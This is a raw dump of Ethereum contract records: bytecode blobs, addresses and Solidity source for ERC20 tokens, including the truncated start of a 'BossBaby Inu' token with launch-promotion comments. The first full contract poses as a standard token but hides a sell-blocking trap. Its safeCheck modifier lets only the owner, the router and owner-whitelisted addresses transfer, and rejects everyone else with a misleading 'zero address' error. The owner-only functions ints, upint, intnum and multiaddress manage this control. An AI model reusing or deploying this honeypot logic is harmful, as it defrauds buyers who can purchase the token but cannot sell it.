0x608060405234801561001057600080fd5b50600436106101215760003560e01c80634cc82215116100ad57806395d89b411161007157806395d89b4114610262578063a457c2d71461026a578063a9059cbb1461027d578063dd62ed3e14610290578063f1354c08146102c957600080fd5b80634cc82215146101e95780634d92626a146101fc57806370a082311461020557806386e898431461022e57806392e404111461025957600080fd5b806323b872dd116100f457806323b872dd1461018e578063313ce567146101a1578063379607f5146101b057806339509351146101c3578063454b0608146101d657600080fd5b806306fdde0314610126578063095ea7b3146101445780631003e2d21461016757806318160ddd1461017c575b600080fd5b61012e6102dc565b60405161013b9190610f65565b60405180910390f35b610157610152366004610ee8565b61036e565b604051901515815260200161013b565b61017a610175366004610f31565b610385565b005b6002545b60405190815260200161013b565b61015761019c366004610ead565b6103aa565b6040516012815260200161013b565b61017a6101be366004610f31565b61045b565b6101576101d1366004610ee8565b61048e565b61017a6101e4366004610f31565b6104ca565b61017a6101f7366004610f31565b610506565b61018060075481565b610180610213366004610e61565b6001600160a01b031660009081526020819052604090205490565b600554610241906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b61018060085481565b61012e610527565b610157610278366004610ee8565b610536565b61015761028b366004610ee8565b6105cf565b61018061029e366004610e7b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600654610241906001600160a01b031681565b6060600380546102eb9061111d565b80601f01602080910402602001604051908101604052809291908181526020018280546103179061111d565b80156103645780601f1061033957610100808354040283529160200191610364565b820191906000526020600020905b81548152906001019060200180831161034757829003601f168201915b5050505050905090565b600061037b3384846105dc565b5060015b92915050565b60065461039d906001600160a01b0316333084610701565b6103a73382610772565b50565b60006103b7848484610851565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156104415760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61044e85338584036105dc565b60019150505b9392505050565b6104653382610a1f565b6005546008546007546103a7926001600160a01b0316913391610489919086610b6a565b610bcb565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161037b9185906104c5908690610f98565b6105dc565b6005546104e2906001600160a01b0316333084610701565b6006546007546008546103a7926001600160a01b0316913391610489919086610b6a565b6105103382610a1f565b6006546103a7906001600160a01b03163383610bcb565b6060600480546102eb9061111d565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156105b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610438565b6105c533858584036105dc565b5060019392505050565b600061037b338484610851565b6001600160a01b03831661063e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610438565b6001600160a01b03821661069f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610438565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6040516001600160a01b038085166024830152831660448201526064810182905261076c9085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610bfb565b50505050565b6001600160a01b0382166107c85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610438565b80600260008282546107da9190610f98565b90915550506001600160a01b03821660009081526020819052604081208054839290610807908490610f98565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b0383166108b55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610438565b6001600160a01b0382166109175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610438565b6001600160a01b0383166000908152602081905260409020548181101561098f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610438565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906109c6908490610f98565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1291815260200190565b60405180910390a361076c565b6001600160a01b038216610a7f5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610438565b6001600160a01b03821660009081526020819052604090205481811015610af35760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610438565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610b229084906110da565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016106f4565b505050565b600082841115610b9a57610b7e83856110da565b610b8990600a611013565b610b939083610fb0565b9150610bc4565b82841015610bc457610bac84846110da565b610bb790600a611013565b610bc190836110bb565b91505b5092915050565b6040516001600160a01b038316602482015260448101829052610b6590849063a9059cbb60e01b90606401610735565b6000610c50826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610ccd9092919063ffffffff16565b805190915015610b655780806020019051810190610c6e9190610f11565b610b655760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610438565b6060610cdc8484600085610ce4565b949350505050565b606082471015610d455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610438565b843b610d935760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610438565b600080866001600160a01b03168587604051610daf9190610f49565b60006040518083038185875af1925050503d8060008114610dec576040519150601f19603f3d011682016040523d82523d6000602084013e610df1565b606091505b5091509150610e01828286610e0c565b979650505050505050565b60608315610e1b575081610454565b825115610e2b5782518084602001fd5b8160405162461bcd60e51b81526004016104389190610f65565b80356001600160a01b0381168114610e5c57600080fd5b919050565b600060208284031215610e72578081fd5b61045482610e45565b60008060408385031215610e8d578081fd5b610e9683610e45565b9150610ea460208401610e45565b90509250929050565b600080600060608486031215610ec1578081fd5b610eca84610e45565b9250610ed860208501610e45565b9150604084013590509250925092565b60008060408385031215610efa578182fd5b610f0383610e45565b946020939093013593505050565b600060208284031215610f22578081fd5b81518015158114610454578182fd5b600060208284031215610f42578081fd5b5035919050565b60008251610f5b8184602087016110f1565b9190910192915050565b6020815260008251806020840152610f848160408501602087016110f1565b601f01601f19169190910160400192915050565b60008219821115610fab57610fab611158565b500190565b600082610fcb57634e487b7160e01b81526012600452602481fd5b500490565b600181815b8085111561100b578160001904821115610ff157610ff1611158565b80851615610ffe57918102915b93841c9390800290610fd5565b509250929050565b600061045483836000826110295750600161037f565b816110365750600061037f565b816001811461104c576002811461105657611072565b600191505061037f565b60ff84111561106757611067611158565b50506001821b61037f565b5060208310610133831016604e8410600b8410161715611095575081810a61037f565b61109f8383610fd0565b80600019048211156110b3576110b3611158565b029392505050565b60008160001904831182151516156110d5576110d5611158565b500290565b6000828210156110ec576110ec611158565b500390565b60005b8381101561110c5781810151838201526020016110f4565b8381111561076c5750506000910152565b600181811c9082168061113157607f821691505b6020821081141561115257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220d5f51e4b157fc8708eb0b7b81704ff05d5c8c02b80562a5bdb773383bed964ab64736f6c63430008040033
[ 4 ]
0xf39d791a750392636103f13759a4660cbd5ee18d
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_NWC(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122094bb6c3500d5b463a4a9158047a83370843ae1dfd1fa301afa8471febe72144864736f6c63430006060033
[ 38 ]
0xf39d90c53a3405cb0e5cfc4bef2d9d3c7559aed8
/* BossBaby Inu is going to launch in the Uniswap at July 2. This is fair launch and going to launch without any presale. tg: https://t.me/bossbabyinu twitter: https://twitter.com/BossbabyInu All crypto babies will become a bossbaby in here. Let's enjoy our launch! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = 